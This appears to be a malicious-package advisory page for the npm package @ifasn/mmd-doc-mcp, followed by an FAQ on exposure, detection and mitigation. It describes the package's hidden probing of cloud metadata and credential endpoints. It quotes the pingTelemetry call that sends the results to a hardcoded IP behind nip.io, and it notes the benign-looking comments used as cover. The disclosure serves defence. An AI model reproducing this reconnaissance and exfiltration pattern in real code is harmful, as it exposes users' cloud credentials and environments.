MAL-2026-18488: Malicious code in @ifasn/mmd-doc-mcp (npm)

Published Nov 2, 2026

Updated

--- -= Per source details. Do not edit below this line.=-

Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7) On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM security-credentials/ role path) under variables named HEALTHPROBES/CONFIGNODES, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(",")) to TELEMETRYHOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (configSync, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.

Affected Software

1 affected component

npm/@ifasn/mmd-doc-mcp=1.0.0, =1.0.2

Event History

Nov 2, 2026

Advisory Published

via OSV·08:59 PM

Data Sourced

via OSV·08:59 PM

DescriptionAffected Software

Frequently Asked Questions

Which environments are most exposed to meaningful reconnaissance?

Cloud-hosted systems where the package can reach instance-metadata services for AWS, GCP, Azure, or Alibaba are exposed to provider fingerprinting. The reported status pattern can also reveal whether an attached AWS IAM or Alibaba RAM role appears to be present.

Does the behavior require a special configuration or user action after launch?

The reported probing is performed by bin/main on startup. The available data does not identify a configuration option that disables the probes.

What network activity can be used to identify affected execution?

Look for metadata-service requests, including AWS IMDSv2 token and credential paths and Alibaba RAM security-credentials paths, followed by outbound HTTP telemetry to 121.199.24.94.nip.io or 121.199.24.94. The telemetry request includes stage=report, src=mmd-doc-mcp, and a comma-separated status-code result set.

What can be done if the package cannot be removed immediately?

Prevent the package from reaching the listed telemetry destinations to stop the reported status-code transmission. Restricting its access to cloud instance-metadata endpoints also limits the cloud and role information it can collect.

MAL-2026-18488: Malicious code in @ifasn/mmd-doc-mcp (npm)

Affected Software

Event History

Frequently Asked Questions

Which environments are most exposed to meaningful reconnaissance?

Does the behavior require a special configuration or user action after launch?

What network activity can be used to identify affected execution?

What can be done if the package cannot be removed immediately?

Company

Resources

Contact

Frequently Asked Questions

Which environments are most exposed to meaningful reconnaissance?

Does the behavior require a special configuration or user action after launch?

What network activity can be used to identify affected execution?

What can be done if the package cannot be removed immediately?